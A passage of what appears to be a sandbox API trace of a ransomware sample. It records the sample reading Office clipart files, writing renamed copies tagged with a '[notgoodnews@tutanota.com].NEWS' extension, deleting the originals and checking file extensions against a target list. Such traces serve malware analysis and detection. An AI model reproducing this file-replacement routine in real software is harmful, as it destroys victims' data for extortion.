Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.560] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.560] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.561] GetLastError () returned 0x0 [0082.561] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xf6c, lpOverlapped=0x0) returned 1 [0082.562] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf70, lpOverlapped=0x0) returned 1 [0082.563] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.563] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.563] SetEndOfFile (hFile=0x348) returned 1 [0082.564] CloseHandle (hObject=0x348) returned 1 [0082.565] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.565] SetEndOfFile (hFile=0x398) returned 1 [0082.565] CloseHandle (hObject=0x398) returned 1 [0082.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0082.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.566] lstrlenW (lpString=".doc") returned 4 [0082.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.566] lstrlenW (lpString=".docx") returned 5 [0082.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.566] lstrlenW (lpString=".pdf") returned 4 [0082.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.566] lstrlenW (lpString=".xls") returned 4 [0082.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.566] lstrlenW (lpString=".xlsx") returned 5 [0082.566] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.566] lstrlenW (lpString=".ppt") returned 4 [0082.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.566] lstrlenW (lpString=".zip") returned 4 [0082.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.566] lstrlenW (lpString=".rar") returned 4 [0082.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.566] lstrlenW (lpString=".bz2") returned 4 [0082.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.566] lstrlenW (lpString=".7z") returned 3 [0082.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.567] lstrlenW (lpString=".dbf") returned 4 [0082.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.567] lstrlenW (lpString=".1cd") returned 4 [0082.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.567] lstrlenW (lpString=".jpg") returned 4 [0082.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.567] lstrlenW (lpString=".doc") returned 4 [0082.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.567] lstrlenW (lpString=".docx") returned 5 [0082.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.568] lstrlenW (lpString=".pdf") returned 4 [0082.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.568] lstrlenW (lpString=".xls") returned 4 [0082.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.568] lstrlenW (lpString=".xlsx") returned 5 [0082.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.568] lstrlenW (lpString=".ppt") returned 4 [0082.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.568] lstrlenW (lpString=".zip") returned 4 [0082.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.568] lstrlenW (lpString=".rar") returned 4 [0082.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.568] lstrlenW (lpString=".bz2") returned 4 [0082.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.568] lstrlenW (lpString=".7z") returned 3 [0082.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.568] lstrlenW (lpString=".dbf") returned 4 [0082.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.568] lstrlenW (lpString=".1cd") returned 4 [0082.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68 [0082.568] lstrlenW (lpString=".jpg") returned 4 [0082.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.568] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.568] lstrlenW (lpString="BS01638_.WMF") returned 12 [0082.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.569] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=10538) returned 1 [0082.569] CloseHandle (hObject=0x398) returned 1 [0082.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220 [0082.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.569] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.569] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.570] GetLastError () returned 0x0 [0082.570] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x292a, lpOverlapped=0x0) returned 1 [0082.571] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2930, lpOverlapped=0x0) returned 1 [0082.572] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.572] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.572] SetEndOfFile (hFile=0x348) returned 1 [0082.573] CloseHandle (hObject=0x348) returned 1 [0082.573] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.574] SetEndOfFile (hFile=0x398) returned 1 [0082.574] CloseHandle (hObject=0x398) returned 1 [0082.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1 [0082.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.575] lstrlenW (lpString=".doc") returned 4 [0082.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.575] lstrlenW (lpString=".docx") returned 5 [0082.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.575] lstrlenW (lpString=".pdf") returned 4 [0082.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.575] lstrlenW (lpString=".xls") returned 4 [0082.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.575] lstrlenW (lpString=".xlsx") returned 5 [0082.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.575] lstrlenW (lpString=".ppt") returned 4 [0082.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.575] lstrlenW (lpString=".zip") returned 4 [0082.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.575] lstrlenW (lpString=".rar") returned 4 [0082.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.575] lstrlenW (lpString=".bz2") returned 4 [0082.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.575] lstrlenW (lpString=".7z") returned 3 [0082.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.576] lstrlenW (lpString=".dbf") returned 4 [0082.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.576] lstrlenW (lpString=".1cd") returned 4 [0082.576] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.576] lstrlenW (lpString=".jpg") returned 4 [0082.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.576] lstrlenW (lpString=".doc") returned 4 [0082.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.576] lstrlenW (lpString=".docx") returned 5 [0082.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.576] lstrlenW (lpString=".pdf") returned 4 [0082.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.576] lstrlenW (lpString=".xls") returned 4 [0082.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.576] lstrlenW (lpString=".xlsx") returned 5 [0082.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.576] lstrlenW (lpString=".ppt") returned 4 [0082.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.576] lstrlenW (lpString=".zip") returned 4 [0082.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.576] lstrlenW (lpString=".rar") returned 4 [0082.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.576] lstrlenW (lpString=".bz2") returned 4 [0082.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.576] lstrlenW (lpString=".7z") returned 3 [0082.576] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.576] lstrlenW (lpString=".dbf") returned 4 [0082.576] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.577] lstrlenW (lpString=".1cd") returned 4 [0082.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68 [0082.577] lstrlenW (lpString=".jpg") returned 4 [0082.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.577] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.577] lstrlenW (lpString="BS01639_.WMF") returned 12 [0082.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.577] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4236) returned 1 [0082.577] CloseHandle (hObject=0x398) returned 1 [0082.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0082.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.578] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.578] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0082.578] GetLastError () returned 0x0 [0082.578] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x108c, lpOverlapped=0x0) returned 1 [0082.580] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1090, lpOverlapped=0x0) returned 1 [0082.580] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.581] WriteFile (in: hFile=0x348, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.581] SetEndOfFile (hFile=0x348) returned 1 [0082.581] CloseHandle (hObject=0x348) returned 1 [0082.582] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.582] SetEndOfFile (hFile=0x398) returned 1 [0082.583] CloseHandle (hObject=0x398) returned 1 [0082.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0082.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.583] lstrlenW (lpString=".doc") returned 4 [0082.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.583] lstrlenW (lpString=".docx") returned 5 [0082.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.583] lstrlenW (lpString=".pdf") returned 4 [0082.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.583] lstrlenW (lpString=".xls") returned 4 [0082.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.583] lstrlenW (lpString=".xlsx") returned 5 [0082.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.584] lstrlenW (lpString=".ppt") returned 4 [0082.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.584] lstrlenW (lpString=".zip") returned 4 [0082.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.584] lstrlenW (lpString=".rar") returned 4 [0082.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.584] lstrlenW (lpString=".bz2") returned 4 [0082.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.584] lstrlenW (lpString=".7z") returned 3 [0082.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.584] lstrlenW (lpString=".dbf") returned 4 [0082.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.584] lstrlenW (lpString=".1cd") returned 4 [0082.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.584] lstrlenW (lpString=".jpg") returned 4 [0082.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.584] lstrlenW (lpString=".doc") returned 4 [0082.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.584] lstrlenW (lpString=".docx") returned 5 [0082.584] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.584] lstrlenW (lpString=".pdf") returned 4 [0082.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.584] lstrlenW (lpString=".xls") returned 4 [0082.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.584] lstrlenW (lpString=".xlsx") returned 5 [0082.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.584] lstrlenW (lpString=".ppt") returned 4 [0082.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.585] lstrlenW (lpString=".zip") returned 4 [0082.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.585] lstrlenW (lpString=".rar") returned 4 [0082.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.585] lstrlenW (lpString=".bz2") returned 4 [0082.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.585] lstrlenW (lpString=".7z") returned 3 [0082.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.585] lstrlenW (lpString=".dbf") returned 4 [0082.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.585] lstrlenW (lpString=".1cd") returned 4 [0082.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0082.585] lstrlenW (lpString=".jpg") returned 4 [0082.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.585] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.585] lstrlenW (lpString="CG1606.WMF") returned 10 [0082.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0082.586] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3564) returned 1 [0082.586] CloseHandle (hObject=0x398) returned 1 [0082.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 0x220 [0082.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft 